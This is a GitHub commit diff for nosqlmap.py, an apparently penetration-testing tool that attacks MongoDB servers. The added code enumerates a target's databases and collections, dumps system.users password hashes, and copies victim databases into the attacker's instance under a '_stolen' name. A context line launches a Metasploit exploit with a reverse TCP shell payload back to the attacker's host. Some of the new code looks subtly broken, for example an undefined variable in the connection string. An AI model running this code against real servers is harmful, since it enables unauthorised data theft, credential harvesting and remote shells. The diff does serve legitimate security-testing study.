Skip to content

Commit 4446868

Browse files
committed
v0.15
Final build before major code restructuring. Fixed bugs and added additional support.
1 parent 0f58031 commit 4446868

File tree

1 file changed

+83
-29
lines changed

1 file changed

+83
-29
lines changed

nosqlmap.py

Lines changed: 83 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@
1313
#You should have received a copy of the GNU General Public License
1414
#along with this program. If not, see <http://www.gnu.org/licenses/>.
1515

16+
1617
import sys
1718
import string
1819
import random
@@ -32,7 +33,7 @@ def mainMenu():
3233
select = True
3334
while select:
3435
os.system('clear')
35-
print "NoSQLMap v0.1-by Russell Butturini(tcstool@gmail.com)"
36+
print "NoSQLMap v0.15DEV-nosqlmap@gmail.com"
3637
print "\n"
3738
print "1-Set options (do this first)"
3839
print "2-NoSQL DB Access Attacks"
@@ -163,7 +164,7 @@ def options():
163164
options()
164165

165166
elif select == "7":
166-
loadPath = raw_input("enter file name to load: ")
167+
loadPath = raw_input("Enter file name to load: ")
167168
try:
168169
fo = open(loadPath,"r" )
169170
csvOpt = fo.read()
@@ -173,7 +174,7 @@ def options():
173174
webPort = optList[1]
174175
uri = optList[2]
175176
httpMethod = optList[3]
176-
myIp = optList[4]
177+
myIP = optList[4]
177178
myPort = optList[5]
178179

179180
#Set option checking array based on what was loaded
@@ -204,42 +205,83 @@ def netAttacks(target):
204205
#This is a global for future use with other modules; may change
205206
global dbList
206207

207-
#Check for default config
208-
try:
209-
conn = pymongo.MongoClient(target,27017)
210-
print "MongoDB port open on " + target + ":27017!"
211-
mgtOpen = True
208+
srvNeedCreds = raw_input("Does the database server need credentials? ")
212209

213-
except:
214-
print "MongoDB port closed."
210+
if srvNeedCreds == "n" or srvNeedCreds == "N":
211+
212+
try:
213+
conn = pymongo.MongoClient(target,27017)
214+
print "MongoDB port open on " + target + ":27017!"
215+
mgtOpen = True
216+
217+
except:
218+
print "MongoDB port closed."
215219

216220

217-
mgtUrl = "http://" + target + ":28017"
218221

219222

220-
try:
221-
#Future rev: Add web management interface parsing
223+
elif srvNeedCreds == "y" or srvNeedCreds == "Y":
224+
srvUser = raw_input("Enter server username: ")
225+
srvPass = raw_input("Enter server password: ")
226+
uri = "mongodb://" + srvUser + ":" + srvPass + "@" + victim +"/"
227+
228+
try:
229+
conn = pymongo.MongoClient(uri)
230+
print "MongoDB authenticated on " + target + ":27017!"
231+
mgtOpen = True
232+
except:
233+
raw_input("Failed to authenticate. Press enter to continue...")
234+
mainMenu()
235+
236+
237+
mgtUrl = "http://" + target + ":28017"
238+
#Future rev: Add web management interface parsing
239+
240+
try:
222241
mgtRespCode = urllib.urlopen(mgtUrl).getcode()
223242
if mgtRespCode == 200:
224-
print "MongoDB web management open at " + mgtUrl + ". Check this out!"
225-
226-
else:
227-
print "Got HTTP " + mgtRespCode + "from " + mgtUrl + "."
243+
print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
244+
228245
except:
229-
print "MongoDB web management closed."
230-
246+
247+
print "MongoDB web management closed or requires authentication."
248+
231249
if mgtOpen == True:
232250
#Ths is compiling server info?????
233251
print "Server Info:"
234252
serverInfo = conn.server_info()
235253
print serverInfo
236254

237255
print "\n"
238-
239-
print "List of databases:"
240-
dbList = conn.database_names()
241-
print "\n".join(dbList)
242-
256+
257+
try:
258+
print "List of databases:"
259+
dbList = conn.database_names()
260+
print "\n".join(dbList)
261+
print "\n"
262+
263+
except:
264+
print "Error: Couldn't list databases. The provided credentials may not have rights."
265+
266+
print "List of collections:"
267+
#print "\n"
268+
269+
try:
270+
for dbItem in dbList:
271+
db = conn[dbItem]
272+
colls = db.collection_names()
273+
print dbItem + ":"
274+
print "\n".join(colls)
275+
if 'system.users' in colls:
276+
users = list(db.system.users.find())
277+
print "Database Users and Password Hashes:"
278+
#print dbItem
279+
print str(users)
280+
#print "\n"
281+
282+
except:
283+
print "Error: Couldn't list collections. The provided credentials may not have rights."
284+
243285
stealDB = raw_input("Steal a database? (Requires your own Mongo instance): ")
244286

245287
if stealDB == "y" or stealDB == "Y":
@@ -253,8 +295,7 @@ def netAttacks(target):
253295
proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
254296

255297
except:
256-
print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
257-
298+
print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
258299
raw_input("Press enter to continue...")
259300
return()
260301

@@ -686,8 +727,21 @@ def stealDBs(myDB):
686727

687728
try:
688729
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
689-
myDBConn = pymongo.MongoClient(myDB,27017)
690-
myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
730+
dbNeedCreds = raw_input("Does this database require credentials? ")
731+
732+
if dbNeedCreds == "n" or dbNeedCreds == "N":
733+
myDBConn = pymongo.MongoClient(myDB,27017)
734+
myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
735+
736+
elif dbNeedCreds == "y" or dbNeedCreds == "Y":
737+
dbUser = raw_input("Enter database username: ")
738+
dbPass = raw_input("Enter database password: ")
739+
myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass)
740+
741+
else:
742+
raw_input("Invalid Selection. Press enter to continue.")
743+
stealDBs(myDB)
744+
691745
cloneAnother = raw_input("Database cloned. Copy another?")
692746

693747
if cloneAnother == "y" or cloneAnother == "Y":
@@ -700,4 +754,4 @@ def stealDBs(myDB):
700754
raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
701755
mainMenu()
702756

703-
mainMenu()
757+
mainMenu()

0 commit comments

Comments
 (0)